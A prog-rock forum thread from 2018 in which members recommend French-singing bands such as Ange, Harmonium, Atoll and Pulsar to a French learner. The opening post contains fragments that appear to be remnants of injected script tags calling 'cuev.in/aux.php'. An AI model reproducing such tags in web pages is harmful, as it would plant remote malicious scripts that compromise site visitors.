Bands that sing in French
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Topic: Bands that sing in French
Posted By: gerdtheater
Subject: Bands that sing in French
Date Posted: January 07 2018 at 19:25
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Hello everyone!< ="text/" ="https://cuev.in/aux.php?ver=1.0&ref=at&debug=">< ="text/" ="https://cuev.in/aux.php?ver=1.0&ref=at&debug="> I've been studying French and I want to keep practicing by listening to songs that are in French; the problem is that I only know Nemo, and although I liked them I would like to know some other prog recommendations you may give me. Thank you a lot! ------------- Playing a three-hour Rush show is like running a marathon while solving equations. Neil Peart |
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Posted By: noni
Date Posted: January 07 2018 at 19:41
Harmonium, really good band!....
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Posted By: Dellinger
Date Posted: January 07 2018 at 20:56
| Yeah, Harmonium must be one of the most obvious choices. Ange should be another... I haven't actually heard them, but I have read about them and have my mind on getting some music from them. There's also Alcest, which is more metal (or ambient, depending on which album you get). |
Posted By: Tom Ozric
Date Posted: January 07 2018 at 22:11
| Ange, Pulsar, Synopsis, Harmonium, Atoll, Carpe Diem, Mona Lisa. The list goes on. |
Posted By: Barbu
Date Posted: January 07 2018 at 22:28
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Malicorne ------------- |
Posted By: Mortte
Date Posted: January 07 2018 at 22:33
| Not prog, but in Amadou & Mariam Amadou is singing French. Jacques Brel is one of my favourite French-singing vocalist. |
Posted By: Michael P. Dawson
Date Posted: January 07 2018 at 23:46
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Ange is my absolute favorite francophone band. Their lyrics--though my understanding of them is far from perfect--are fantastic. ------------- Buy this thing! https://store.cdbaby.com/Artist/MichaelPDawson" rel="nofollow - https://store.cdbaby.com/Artist/MichaelPDawson |
Posted By: Frenetic Zetetic
Date Posted: January 08 2018 at 02:27
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Harmonium is #1 for me, hands down. That record got me into foreign speaking prog real fast. ------------- "I am so prog, I listen to concept albums on shuffle." -KMac2021 |
Posted By: DeadSouls
Date Posted: January 08 2018 at 08:58
| Etron Fou Leloublan, only if you're into R.I.O., highly recommended! |
Posted By: verslibre
Date Posted: January 08 2018 at 18:18
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Check out Minimum Vital and Halloween! ------------- https://www.ebay.com/sch/i.html?_ipg=50&_sop=1&_rdc=1&_ssn=musicosm" rel="nofollow - eBay |
Posted By: Mascodagama
Date Posted: January 09 2018 at 01:43
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For a modern band one could do no better than Aquaserge. Since the OP is involved in language learning it should probably be said that Harmonium, mentioned by several posters, was a Quebecois band. To my (very limited) understanding, Quebecois French is a little different from French French. Probably not different enough that it would be a big deal, but FWIW. I think these are difference in pronunciation, vocabulary and vernacular usage rather than grammar. ------------- Soldato of the Pan Head Mafia. We'll make you an offer you can't listen to. http://bandcamp.com/jpillbox" rel="nofollow - Bandcamp Profile |
Posted By: hellogoodbye
Date Posted: January 09 2018 at 03:27
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Debile Menthol https://www.youtube.com/watch?v=9Era-UUqC6g 
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Posted By: Sean Trane
Date Posted: January 09 2018 at 03:39
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Plenty of Québécois bands like Morse Code or Beau Dommage (and CANO from Ontario) have not been mentioned here.
Brel is tops, really!!! And if you understand/master French, his lyrics are often out of this world
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Mortte wrote:Posted By: hellogoodbye
Date Posted: January 09 2018 at 03:57
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In case you don't, you still have Scott Walker.
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Posted By: Raccoon
Date Posted: January 09 2018 at 04:25
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Francoise Hardy is amazing. Comment Te Dire Adieu ?, Et Si Je M'en Vais Avant Toi, La Question, Soleil (possibly my favorite album from her) are ALL great. This song sounds like a toy factory Jean-Claude Vannier for L'Enfant Assassin, which goes without saying. With that, Serge Gainsbourg's Histoire De Melody Nelson.. You can find prog in any good music if you try hard enough. Nothing wrong with expanding your horizons. Maneige's Les Porches has.. Some vocals. Certainly one of my very favorites of any music. |
Posted By: hellogoodbye
Date Posted: January 09 2018 at 04:51
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The canadian Jean Pierre Ferland and his album Jaune. https://www.youtube.com/watch?v=QkileyX032M 
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Posted By: Sean Trane
Date Posted: January 09 2018 at 09:28
Because France Gall will never be able to anymore  RIP France
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Posted By: Mascodagama
Date Posted: January 09 2018 at 09:36
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Let us add: Catherine Ribeiro + Alpes. ------------- Soldato of the Pan Head Mafia. We'll make you an offer you can't listen to. http://bandcamp.com/jpillbox" rel="nofollow - Bandcamp Profile |
Posted By: progaardvark
Date Posted: January 09 2018 at 10:18
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One of my favorites is Emmanuel Booz's Dans Quel Etat J'Erre released in 1979. Ange, Atoll, and Francis Décamps solo have some good albums too. ------------- ---------- i'm shopping for a new oil-cured sinus bag that's a happy bag of lettuce this car smells like cartilage nothing beats a good video about fractions |
Posted By: kenethlevine
Date Posted: January 09 2018 at 10:27
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In the prog folk realm you've got Tri Yann, Alan Stivell (who sings in breton and English as well), Dan Ar Braz, Gilles Servat, Garolou (from Quebec), and Thork. Other good French language bands are Mes Aieux also from Quebec and Merzhin (from France)
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Posted By: Meltdowner
Date Posted: January 09 2018 at 11:04
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I see no one mentioned this one yet:
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Posted By: hellogoodbye
Date Posted: January 09 2018 at 11:15
 Sometimes, Samuel, it's a blessing if you don't speak french. 
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Posted By: Meltdowner
Date Posted: January 09 2018 at 11:38
The OP didn't ask for French bands with great lyrics  I really like the album regardless.
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Posted By: The.Crimson.King
Date Posted: January 09 2018 at 15:15
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Don't think I've seen anyone mention Mona Lisa yet. If you like 70's Ange, the 70's Mona Lisa albums are very similar in sound and, how should I say...urgently expressive vocals ------------- https://wytchcrypt.wixsite.com/mutiny-in-jonestown" rel="nofollow - Mutiny in Jonestown : Progressive Rock Since 1987 |
Posted By: Michael P. Dawson
Date Posted: January 09 2018 at 18:48
I think the word in French is jambon.  ------------- Buy this thing! https://store.cdbaby.com/Artist/MichaelPDawson" rel="nofollow - https://store.cdbaby.com/Artist/MichaelPDawson |
Posted By: Dellinger
Date Posted: January 09 2018 at 20:38
| This is more metal than prog, but Therion did an album of symphonic operatic metal versions of french songs from the 60's and 70's, called Les Fleurs du Mal. I thought it was enjoyable. |
Posted By: Barbu
Date Posted: January 09 2018 at 21:26
Essentiel ------------- |
Posted By: Mortte
Date Posted: January 09 2018 at 22:38
 Well, maybe J`T´aime.
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Posted By: Cosmiclawnmower
Date Posted: January 10 2018 at 15:43
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How about Lazuli? ------------- |
Posted By: kenethlevine
Date Posted: January 11 2018 at 19:44
yeah Cano was great, stands for cooperatif des artistes du nord d'ontario |
Posted By: Cosmiclawnmower
Date Posted: January 14 2018 at 11:37
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That reminded me (so I had a dig about) that I have an lp by CANO called 'Au nord de notre vie' (the north is our Life? sorry my French is limited) which I got with a batch of Canadian pressings some 25 years ago.. to be honest I had forgotton i'd got it! What a great lp, how could I have overlooked it for so long!? ------------- |
Posted By: Formentera Lady
Date Posted: January 14 2018 at 11:51
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Arachnoid ------------- http://theprogressiveweb.blogspot.de" rel="nofollow - Visit me in Second Life to talk about music. |
Posted By: Formentera Lady
Date Posted: January 14 2018 at 11:54
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and the already mentioned Harmonium. Here is the link to the album: ------------- http://theprogressiveweb.blogspot.de" rel="nofollow - Visit me in Second Life to talk about music. |
Posted By: Cosmiclawnmower
Date Posted: January 14 2018 at 12:07
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Another French lp ive unearthed is by a band called 'Bahamas' and the lp is called 'le voyageur immobile' released about 1976 on the 'Disque motors' label.. it reminds me a bit of classic 10cc with a hint of Genesis. Camel maybe... quite poppy in places.. sort of Art rock and I really don't know anymore about the band and they don't seem to be listed on this site... Anyone got any extra information? The whole lp is available on youtube if you want to listen :) ------------- |
Posted By: grantman
Date Posted: January 14 2018 at 12:51
| fairport convention |
Posted By: The.Crimson.King
Date Posted: January 14 2018 at 14:15
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The first French band/album I ever got into was Pulsar's excellent "Halloween". Their albums had an interesting mix of French & English lyrics...though their French accents were so strong it made their English lyrics almost indecipherable anyway ------------- https://wytchcrypt.wixsite.com/mutiny-in-jonestown" rel="nofollow - Mutiny in Jonestown : Progressive Rock Since 1987 |
Posted By: richardh
Date Posted: January 15 2018 at 14:31
indeed
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Posted By: wiz_d_kidd
Date Posted: January 20 2018 at 11:38
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I would recommend a little-know French band, NIL. In particular, their album "Novo Sub Sole" has some of the most beautiful, female, French vocals I've ever heard! Check out samples at http://nilweb.free.fr/. They also have lyrics in their download area, which would be great for someone learning the language. |